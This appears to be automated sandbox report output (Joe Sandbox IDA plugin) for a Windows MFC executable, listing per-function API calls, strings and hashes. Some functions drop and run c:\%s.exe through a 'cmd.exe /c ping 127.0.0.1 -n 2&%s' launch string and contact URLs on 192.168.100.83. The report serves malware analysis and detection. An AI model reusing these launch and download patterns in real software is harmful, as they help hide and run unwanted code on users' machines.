6CE1EC00.MFC42(?,?,0000003B,00000000,00000001), ref: 004022CA
6CE1EC00.MFC42(00000019,?,0000003B,00000000,-00000001,00000001), ref: 004022EA
6CE3B590.MFC42(?,00000001,00000001), ref: 00402302
6CE190A0.MFC42 ref: 00402311
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404878), ref: 0040231E
SendMessageA.USER32(?,00000143,00000000,?), ref: 00402336
6CE1A420.MFC42 ref: 0040234B
6CE1A420.MFC42 ref: 00402359
6CE259A0.MFC42 ref: 0040236A

Strings

user.ini, xrefs: 00402190

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420$B590E190MessageSend$E176E17770E18660E256E259E352
String ID: user.ini
API String ID: 2156879333-1338118170
Opcode ID: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction ID: afaa56c09f8307c61a21e81d60edd19e1058136c3d77b862272b9fbdbc9fbc74
Opcode Fuzzy Hash: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction Fuzzy Hash: 9E51E9B1508341AFC304EB62C856F5F7BE8ABD5748F400A2DFA55662C1DB789608CBA7

Function 00403D20 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE3E820.MFC42(00000001), ref: 00403D40
_mbscmp.MSVCRT ref: 00403D57
6CE3D780.MFC42(00407280,00407234,00000000), ref: 00403D72
6CE352C0.MFC42(user.ini,00000000), ref: 00403D93
6CE17770.MFC42 ref: 00403DA4
6CE12DD0.MFC42(00000000), ref: 00403DAC
6CE176D0.MFC42(00000000,00000000,00000000), ref: 00403DBC
6CE1EBC0.MFC42(00000000,00000000,00000000), ref: 00403DC9
6CE18660.MFC42(00000000,00000000,00000000,00000000), ref: 00403DD3
6CE3B140.MFC42 ref: 00403DE4
6CE3D780.MFC42(0040725C,00407234,00000000), ref: 00403E00
6CE1A420.MFC42 ref: 00403EA2
6CE259A0.MFC42 ref: 00403EAF

Strings

user.ini, xrefs: 00403D8A, 00403E32

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: D780$A420B140E176E17770E18660E259E352E820_mbscmp
String ID: user.ini
API String ID: 1142254341-1338118170
Opcode ID: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction ID: 7586933d42d8af5822a5c6cc992a2378d2c9300e52b0bfec7b5886e4e50d1dbd
Opcode Fuzzy Hash: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction Fuzzy Hash: F341D1B16483406BC314FF55CC42BAF7654AFD0709F40067EFA06762C1DB7C69088AAB

Function 004019C0 Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 100
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE50310.MFC42(00000066,00000000,?,?,?,?,?,00000000,004047CD,000000FF,004016EF,00000000), ref: 004019E7
6CE17F20.MFC42(00000066,00000000), ref: 004019F9
6CE17F20.MFC42(00000066,00000000), ref: 00401A11
6CE17F20.MFC42(00000066,00000000), ref: 00401A29
6CE17F20.MFC42(00000066,00000000), ref: 00401A41
6CE17F20.MFC42(00000066,00000000), ref: 00401A59
6CE17F20.MFC42(00000066,00000000), ref: 00401A71
6CE17F20.MFC42(00000066,00000000), ref: 00401A89
6CE256F0.MFC42(00000066,00000000), ref: 00401AA1
6CE256F0.MFC42(00000066,00000000), ref: 00401AB3
6CE256F0.MFC42(00000066,00000000), ref: 00401AC3
6CE256F0.MFC42(00000066,00000000), ref: 00401AD5
6CE256F0.MFC42(00000066,00000000), ref: 00401AE5
6CE25A80.MFC42(004073FC,00000066,00000000), ref: 00401AFC
6CE25A80.MFC42(004073FC,004073FC,00000066,00000000), ref: 00401B08
6CE25A80.MFC42(004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B14
6CE25A80.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B24
6CE150F0.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B29
6CE1F390.MFC42(00000080,0000000E,00000080,004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B3A
LoadIconA.USER32(00000000,00000080), ref: 00401B40

Strings

DB@, xrefs: 00401AF6
nB@, xrefs: 00401A76
0?@, xrefs: 00401A8E

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: E256$E150E50310F390IconLoad
String ID: 0?@$DB@$nB@
API String ID: 2310818808-169237758
Opcode ID: 61283f7cb8a9a505548b534a433f2e0d23e54d829050f8b43b38edcd8d41ae24
Instruction ID: f2e10ca964a3f428014d6b156628cc8ca48279fbad35800b64bcb403419e067a
Opcode Fuzzy Hash: 61283f7cb8a9a505548b534a433f2e0d23e54d829050f8b43b38edcd8d41ae24
Instruction Fuzzy Hash: 80413AB1308B418BD301EF65844576EBBD1EFC9344F04486EF996272C2DBBD65098FAA

Function 00401220 Relevance: 38.6, APIs: 20, Strings: 2, Instructions: 136
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE12DD0.MFC42(00100000), ref: 0040122F
__p___argv.MSVCRT ref: 00401253

Part of subcall function 00401140: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0040117B

__p___argv.MSVCRT ref: 00401274

Part of subcall function 00401140: ReadFile.KERNEL32(00000000,?,00001000,?,00000000), ref: 004011C2
Part of subcall function 00401140: CloseHandle.KERNEL32(00000000), ref: 004011FD

Sleep.KERNEL32(00000064), ref: 00401286
GetTickCount.KERNEL32 ref: 004012CD
wsprintfA.USER32 ref: 004012EA
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040130A
6CE12DD0.MFC42(00000000), ref: 00401313
Sleep.KERNEL32(00000064), ref: 00401321
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00401331
Sleep.KERNEL32(00000064), ref: 00401339
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00401349
CloseHandle.KERNEL32(00000000), ref: 00401350
6CE12C70.MFC42(?), ref: 00401357
6CE12C70.MFC42(00000000,?), ref: 0040135D
__p___argv.MSVCRT ref: 0040137D
wsprintfA.USER32 ref: 0040139A
WinExec.KERNEL32(?,00000000), ref: 004013AD
Sleep.KERNEL32(000001F4,?,?,?,?,00000000,?), ref: 004013B8
ExitProcess.KERNEL32 ref: 004013BC

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 00401394
c:\%s.exe, xrefs: 004012DE

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: File$Sleep$__p___argv$CloseCreateHandleWritewsprintf$CountExecExitProcessReadTick
String ID: c:\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 529022016-1443030469
Opcode ID: b0d82628c8d42d29bb42b0dbe05b30571f89d42255fb0a6e4ee7a3c0e0fd351b
Instruction ID: 9f8aa6881b80f391e29a048e327f9647279769309d18573ee161f45e2535dee3
Opcode Fuzzy Hash: b0d82628c8d42d29bb42b0dbe05b30571f89d42255fb0a6e4ee7a3c0e0fd351b
Instruction Fuzzy Hash: 2B418171504341AFD310EF64DC45FAB7BA9EFC8704F04093DF245AB2E1DA7496048BAA

Function 00402710 Relevance: 22.6, APIs: 15, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE598C0.MFC42(000003EF), ref: 0040272F
6CE598C0.MFC42(000003EF,000003EF), ref: 00402745
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 00402759
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402768
6CE598C0.MFC42(000003F0), ref: 00402771
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00402785
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402794
6CE598C0.MFC42(000003F0), ref: 004027A6
6CE598C0.MFC42(000003F0,000003F0), ref: 004027BC
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 004027D0
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004027DF
6CE598C0.MFC42(000003EF), ref: 004027E8
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004027FC
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040280B
6CE50FC0.MFC42(?), ref: 00402810

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: MessageSend$E598
String ID:
API String ID: 3510989998-0
Opcode ID: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction ID: 43040d4cf96770573546f0ef5553b46f0ed2c3b2f342c278d2bebaaa6e181bda
Opcode Fuzzy Hash: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction Fuzzy Hash: 6221357178031477EB14AB558CD6F7E365AABD8B10F34422ABF056F2C6CAF4E8018B55

Function 00402440 Relevance: 21.1, APIs: 14, Instructions: 98
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040246C
6CE256F0.MFC42 ref: 00402478
6CE4BFA0.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402491
6CE1EC00.MFC42(?,?,00000020,00000001,00000000,?,?,?,?,?,?,?,?,?,?,004048C8), ref: 004024A6

Part of subcall function 00402390: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404898,000000FF,004022B6,?), ref: 004023BE

6CE3B590.MFC42(?,00000000,00000000), ref: 004024BF
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 004024D0
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 004024DE
6CE1EC00.MFC42(?,00000000,00000020,00000001,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 004024FA

Part of subcall function 00402390: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404898,000000FF,004022B6,?), ref: 00402403

6CE1EC00.MFC42(?,?,00000020,00000001,?), ref: 0040251A

Part of subcall function 00402390: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404898,000000FF,004022B6,?), ref: 00402426

6CE3B590.MFC42(?,00000001), ref: 00402532
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402543
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402551
6CE3E820.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 0040255A

Part of subcall function 00402850: CoInitialize.OLE32(00000000), ref: 0040286D
Part of subcall function 00402850: 6CE1EC00.MFC42(?), ref: 004028AF
Part of subcall function 00402850: 6CE1EC00.MFC42 ref: 004028C7
Part of subcall function 00402850: CoUninitialize.OLE32 ref: 004028E3

6CE1A420.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402572

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420$B590E190$E256E820InitializeMessageSendUninitialize
String ID:
API String ID: 2826152916-0
Opcode ID: 6b4598c18b149baf41dc2c699b37129104aff7cc0169a10aed1875957db3102f
Instruction ID: e12ff5c2053f9a72bd65041b051e88c030b435080f647bcd3e17c5c7067139df
Opcode Fuzzy Hash: 6b4598c18b149baf41dc2c699b37129104aff7cc0169a10aed1875957db3102f
Instruction Fuzzy Hash: EE31C8B5204341ABD305FB25D856F9FB7E4ABD8704F000A2EF595672C1DB7865088BA7

Function 004039D0 Relevance: 21.1, APIs: 14, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 004039FC
6CE256F0.MFC42 ref: 00403A08
6CE4BFA0.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A1E
6CE1EC00.MFC42(?,?,00000020,00000001,00000000,?,?,?,?,?,?,?,?,?,?,00404BC8), ref: 00403A33

Part of subcall function 004038F0: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404B98,000000FF,00403816,?), ref: 0040391E

6CE3B590.MFC42(?,00000000,00000000), ref: 00403A4C
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A5D
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A6B
6CE1EC00.MFC42(?,00000000,00000020,00000001,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A87

Part of subcall function 004038F0: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404B98,000000FF,00403816,?), ref: 00403963

6CE1EC00.MFC42(?,?,00000020,00000001,?), ref: 00403AA7

Part of subcall function 004038F0: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404B98,000000FF,00403816,?), ref: 00403986

6CE3B590.MFC42(?,00000001), ref: 00403ABF
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403AD0
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403ADE
6CE3E820.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403AE7
6CE1A420.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403AF8

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420$B590E190$E256E820MessageSend
String ID:
API String ID: 1959819693-0
Opcode ID: c4a9426b3d146f6b18e720923754d03eefbba986a6632d145798aab3bb1fd514
Instruction ID: f6de4c7b58c9e08d410c388df69f80ca665281aef36746c90f471116ae625215
Opcode Fuzzy Hash: c4a9426b3d146f6b18e720923754d03eefbba986a6632d145798aab3bb1fd514
Instruction Fuzzy Hash: A831A8B5204341AFC304EB25C856F9FB7E4ABD4714F004A2EF595662D1DB78A5088BA7

Function 00401830 Relevance: 19.6, APIs: 13, Instructions: 53COMMON

Download Yara Rule

APIs

6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040185B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040186B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040187B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040188B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040189B
6CE12C80.MFC42(?,?,?,0040470F,000000FF), ref: 004018AB
6CE4BC50.MFC42(?,?,?,0040470F,000000FF), ref: 004018BB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018CB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018DB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018EB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018FB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 00401908
6CE503E0.MFC42(?,?,?,0040470F,000000FF), ref: 00401917

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420$E503
String ID:
API String ID: 3478961390-0
Opcode ID: 7b5ce37691534f6e46bec6ed38d29974445b5b0c433dc7e2899eb447151f42f4
Instruction ID: f9e30e69a48690507b3e4af920e781beb467eb0ec983ed3cc8e406cc6407e96c
Opcode Fuzzy Hash: 7b5ce37691534f6e46bec6ed38d29974445b5b0c433dc7e2899eb447151f42f4
Instruction Fuzzy Hash: 0F214C740087C18BD315EB74C05979BBBE4BFA9314F440E1EE5EA162C2DBB86248C6A7

Function 00401F00 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00401F23

Part of subcall function 00403F80: 6CE59A60.MFC42(?,000000CB,00000002,00000009,00000000,00000000,?,00401F36), ref: 00403F92

_mbscmp.MSVCRT ref: 00401F73
6CE1A420.MFC42 ref: 00401F81
CoUninitialize.OLE32(http://192.168.100.83/,00000000,00000000,00000000,00000000), ref: 00402063

Strings

http://192.168.100.83/9.htm, xrefs: 00402032
http://192.168.100.83/F.htm, xrefs: 00402007
http://192.168.100.83/, xrefs: 00401F6D, 00402057

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420InitializeUninitialize_mbscmp
String ID: http://192.168.100.83/$http://192.168.100.83/9.htm$http://192.168.100.83/F.htm
API String ID: 837757824-1795800369
Opcode ID: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction ID: a67ed12fd00eb966c7ef07626c931287be5c1ca5e9acac2baddc7c0ca8bee009
Opcode Fuzzy Hash: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction Fuzzy Hash: F061BE70604302AFD710EF64C989B1BBBA8AF88714F04496DF985EB3D1DB78D905CB96

Function 00401C60 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

6CE50E90.MFC42(?,?,?,?,004047E8,000000FF), ref: 00401C7A
GetSystemMenu.USER32(?,00000000,?,?,?,?,004047E8,000000FF), ref: 00401C85
6CE59290.MFC42(00000000,?,?,?,?,004047E8,000000FF), ref: 00401C8C
6CE256F0.MFC42(00000000,?,?,?,?,004047E8,000000FF), ref: 00401C9B
6CE195D0.MFC42(00000065,00000000,?,?,?,?,004047E8,000000FF), ref: 00401CAE
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401CD2
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401CE1
6CE1A420.MFC42(00000065,00000000,?,?,?,?,004047E8,000000FF), ref: 00401CF0
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401D0D
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401D21

Strings

http://www.1.com, xrefs: 00401D31

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: Menu$AppendMessageSend$A420E195E256E59290System
String ID: http://www.1.com
API String ID: 1030794748-1471656216
Opcode ID: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction ID: 014e3ba470a9a3624742ceba51641722d59a2d0febe7554dbc01a11c7d6f2640
Opcode Fuzzy Hash: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction Fuzzy Hash: 142192B53447017BE220EB65CC86F5BB3A8FB88B50F10462DB6556B2D1CBB9F800CB59

Function 00403500 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

6CE50310.MFC42(00000082,?,?,?,?,00000000,?,00404B39,000000FF,004025B6,00000000), ref: 00403529
6CE17F20.MFC42(00000082,?), ref: 0040353B
6CE17F20.MFC42(00000082,?), ref: 00403553
6CE17F20.MFC42(00000082,?), ref: 0040356B
6CE17F20.MFC42(00000082,?), ref: 00403583
6CE256F0.MFC42(00000082,?), ref: 0040359B
6CE256F0.MFC42(00000082,?), ref: 004035AD
6CE25A80.MFC42(004073FC,00000082,?), ref: 004035C4
6CE25A80.MFC42(004073FC,004073FC,00000082,?), ref: 004035D0

Strings

DB@, xrefs: 004035BE
nB@, xrefs: 00403540

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
